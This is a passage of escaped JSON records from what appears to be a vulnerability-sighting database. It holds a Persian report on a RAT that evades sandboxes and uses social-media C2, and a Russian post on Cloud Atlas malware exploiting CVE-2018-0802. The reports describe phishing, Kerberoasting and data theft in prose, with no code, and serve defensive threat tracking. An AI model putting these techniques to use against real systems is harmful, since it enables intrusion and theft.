\u0628\u0633\u062a\u0631 \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644\u060c \u0628\u0633\u06cc\u0627\u0631 \u067e\u06cc\u0686\u06cc\u062f\u0647 \u0634\u062f\u0647 \u0648 \u0642\u0627\u0646\u0648\u0646\u06cc \u062c\u0644\u0648\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0646\u0647 \u062a\u0646\u0647\u0627 \u0645\u0633\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0646 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627 \u062f\u0631 \u06cc\u06a9 \u0634\u0628\u06a9\u0647\u200c\u06cc \u0633\u0627\u0632\u0645\u0627\u0646\u06cc \u0634\u062f\u0646\u06cc \u0646\u06cc\u0633\u062a \u0686\u0631\u0627 \u06a9\u0647 \u0627\u06cc\u0646 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627 \u067e\u0631\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0647\u0633\u062a\u0646\u062f \u0628\u0644\u06a9\u0647 \u0627\u06cc\u0646 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 HTTPS \u0628\u0648\u062f\u0647 \u0648 \u06a9\u0634\u0641 \u0627\u0644\u06af\u0648 \u0628\u0631\u0627\u06cc \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0646\u200c\u0647\u0627 \u0628\u0633\u06cc\u0627\u0631 \u0633\u062e\u062a \u0627\u0633\u062a. \n\n\u067e\u0633 \u0627\u0632 \u0627\u0646\u062c\u0627\u0645 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644\u200c\u0647\u0627\u060c \u0645\u062d\u0642\u0642\u0627\u0646 \u062f\u0631\u06cc\u0627\u0641\u062a\u0646\u062f \u06a9\u0647 \u0627\u06cc\u0646 RAT \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u06cc\u06a9\u0633\u200c\u067e\u06cc \u06a9\u0627\u0631 \u0646\u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u062f\u0627\u0631\u0627\u06cc \u0642\u0627\u0628\u0644\u06cc\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0627\u062c\u0631\u0627 \u062f\u0631 \u0645\u062d\u06cc\u0637 \u062c\u0639\u0628\u0647 \u0634\u0646\u06cc \u0648 \u0648\u062c\u0648\u062f \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u062a\u062d\u0644\u06cc\u0644 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0622\u0644\u0648\u062f\u0647 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06af\u0631 \u0686\u0646\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc\u06cc \u062a\u0634\u062e\u06cc\u0635 \u062f\u0627\u062f\u0647 \u0634\u0648\u062f\u060c \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u06cc\u06a9 \u062a\u0627\u0628\u0639 \u062c\u0639\u0644\u06cc \u0633\u0648\u0626\u06cc\u0686 \u06a9\u0631\u062f\u0647 \u0648 \u062a\u0631\u0627\u0641\u06cc\u06a9 HTTP \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u0628\u0631\u0627\u06cc \u0628\u0631\u0642\u0631\u0627\u0631\u06cc \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0627 \u0628\u0633\u062a\u0631\u0647\u0627\u06cc \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644\u060c \u0627\u06cc\u0646 RAT \u0627\u0632 \u06f1\u06f2 \u0631\u0645\u0632\u0648\u0627\u0631\u0647\u200c\u06cc \u0647\u0627\u0631\u062f\u06a9\u062f\u0634\u062f\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. (\u06f7 \u0631\u0645\u0632\u0648\u0627\u0631\u0647 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0648\u0627\u0633\u0637 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc \u062a\u0648\u06cc\u06cc\u062a\u0631\u060c \u06f4 \u0631\u0645\u0632\u0648\u0627\u0631\u0647 \u0628\u0631\u0627\u06cc Yandex \u0648 \u06cc\u06a9\u06cc \u0628\u0631\u0627\u06cc \u0645\u062f\u06cc\u0627\u0641\u0627\u06cc\u0631) \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0642\u0627\u062f\u0631 \u0627\u0633\u062a \u0627\u0632 \u0631\u0648\u06cc \u0622\u062e\u0631\u06cc\u0646 \u062a\u0648\u06cc\u06cc\u062a \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u062f\u0631 \u062d\u0633\u0627\u0628\u200c\u0647\u0627\u06cc \u0645\u062e\u0631\u0628\u060c \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627 \u062e\u0648\u0627\u0646\u062f\u0647 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0648\u06cc\u06cc\u062a \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f. \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0628\u0647 \u0633\u0631\u0642\u062a \u0628\u0631\u062f\u0647 \u0631\u0627 \u0646\u06cc\u0632 \u0628\u0631 \u0631\u0648\u06cc \u0628\u0633\u062a\u0631 \u0627\u064e\u0628\u0631 Yandex \u0648 \u0645\u062f\u06cc\u0627\u0641\u0627\u06cc\u0631 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \n\n\u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u06cc\u200c\u06af\u0648\u06cc\u0646\u062f \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u0631\u0627\u06cc \u0642\u0627\u0628\u0644\u06cc\u062a \u06a9\u06cc\u200c\u0644\u0627\u06af\u0631 \u0628\u0648\u062f\u0647 \u0648 \u062f\u0631 \u0628\u0631\u062e\u06cc \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u060c \u0645\u0634\u0627\u0647\u062f\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0627\u0633\u06a9\u0631\u06cc\u0646\u200c\u0634\u0627\u062a \u0627\u0632 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0642\u0631\u0628\u0627\u0646\u06cc \u062a\u0647\u06cc\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0645\u062d\u0642\u0642\u0627\u0646 \u062a\u0627\u0644\u0648\u0633 \u0645\u06cc\u200c\u06af\u0648\u06cc\u0646\u062f \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u067e\u0634\u062a \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u0631\u0627\u06cc \u0627\u0646\u06af\u06cc\u0632\u0647\u200c\u06cc \u0628\u0627\u0644\u0627\u06cc\u06cc \u0647\u0633\u062a\u0646\u062f \u0648 \u0627\u0632 \u0646\u0648\u0622\u0648\u0631\u06cc\u200c\u0647\u0627\u06cc \u062e\u0648\u0628\u06cc \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u0631\u0627\u06cc \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u0639\u062c\u06cc\u0628 \u0648 \u063a\u0631\u06cc\u0628 \u062f\u06cc\u06af\u0631\u06cc \u0646\u06cc\u0632 \u0647\u0633\u062a \u0628\u0647\u200c\u0637\u0648\u0631\u06cc\u200c\u06a9\u0647 \u0627\u06af\u0631 \u062f\u0631 \u06cc\u06a9 \u0645\u062d\u06cc\u0637 \u062c\u0639\u0628\u0647 \u0634\u0646\u06cc \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f\u060c \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u0642\u0627\u0646\u0648\u0646\u06cc \u0631\u0627 \u0628\u0647 \u0633\u0645\u062a \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0645\u0627\u0646\u0646\u062f \u0622\u0645\u0627\u0632\u0648\u0646 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f.", "creation_timestamp": "2026-07-27T00:01:47.326689Z"}, {"uuid": "432c3570-3242-416d-85fa-9dc6d1538cb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/EchelonEyes/3514", "content": "\u041d\u043e\u0432\u044b\u0439 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0432 \u0440\u0443\u043a\u0430\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 Cloud Atlas \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043a\u0430\u043a Cloud Atlas, \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e VBCloud \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0432\u043e\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u00ab\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439\u00bb \u0432 2024 \u0433\u043e\u0434\u0443. \u0411\u043e\u043b\u0435\u0435 80% \u0436\u0435\u0440\u0442\u0432 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u2013 \u0432 \u0411\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u0438\u0438, \u041a\u0430\u043d\u0430\u0434\u0435, \u041c\u043e\u043b\u0434\u043e\u0432\u0435, \u0418\u0437\u0440\u0430\u0438\u043b\u0435, \u041a\u0438\u0440\u0433\u0438\u0437\u0438\u0438, \u0422\u0443\u0440\u0446\u0438\u0438 \u0438 \u0412\u044c\u0435\u0442\u043d\u0430\u043c\u0435.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Cloud Atlas \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0435\u0449\u0435 \u0441 2014 \u0433\u043e\u0434\u0430. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0420\u043e\u0441\u0441\u0438\u044e \u043e\u043d\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0443\u0436\u0435 \u043d\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b\u0430 \u0431\u044d\u043a\u0434\u043e\u0440 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 PowerShell \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c PowerShower \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0440\u043e\u0441\u0441\u0438\u044f\u043d. \u0410 \u0432 2023 \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Office (CVE-2017-11882) \u0434\u043b\u044f \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438. \u041e\u043d\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 \u0432 \u0441\u0435\u0431\u044f \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 Visual Basic Script (VBS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0430 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e VBS \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\n\n\u0412 \u0441\u0432\u0435\u0436\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u0442\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 PowerShower, \u0430 \u0442\u0430\u043a\u0436\u0435 VBCloud.\n\n\u0410\u0442\u0430\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 RTF-\u0444\u0430\u0439\u043b\u0430 \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b, CVE-2018-0802, \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 HTML-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (HTA), \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 %APPDATA%\\Roaming\\Microsoft\\Windows\\, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0431\u044d\u043a\u0434\u043e\u0440 VBShower.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 VBShower \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u044c\u0448\u0435\u0433\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a VBS \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0444\u0430\u0439\u043b\u0430\u0445 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0430\u043f\u043a\u0430\u0445, \u0438\u043c\u0435\u043d\u0430\u0445 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 PowerShower \u0438 VBCloud.\n\nPowerShower \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u0435\u043d VBShower \u043f\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u043d \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 PowerShell \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 C2. \u041e\u043d \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u043d\u0430\u0449\u0435\u043d \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0430\u0440\u0445\u0438\u0432\u043e\u0432 ZIP.\n\nKaspersky \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0446\u0435\u043b\u044b\u0445 \u0441\u0435\u043c\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a PowerShell. \u041a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0433\u0440\u0443\u043f\u043f \u0438 \u0438\u0445 \u0447\u043b\u0435\u043d\u043e\u0432 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0441\u043b\u0443\u0436\u0431 Active Directory (ADSI), \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 PowerShell \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 Kerberoasting (\u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 Active Directory), \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0433\u0440\u0443\u043f\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0444\u0430\u0439\u043b\u0430\u0445 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043f\u043a\u0438 ProgramData \u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435.\n\nVBCloud \u0442\u0430\u043a\u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043a\u0430\u043a VBShower, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0441\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. \n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0434\u0438\u0441\u043a\u0430\u0445 (\u0431\u0443\u043a\u0432\u0430 \u0434\u0438\u0441\u043a\u0430, \u0442\u0438\u043f \u0434\u0438\u0441\u043a\u0430, \u0442\u0438\u043f \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f, \u0440\u0430\u0437\u043c\u0435\u0440 \u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e), \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0444\u0430\u0439\u043b\u0430\u0445 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438 DOC, DOCX, XLS, XLSX, PDF, TXT, RTF \u0438 RAR, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0430\u0439\u043b\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 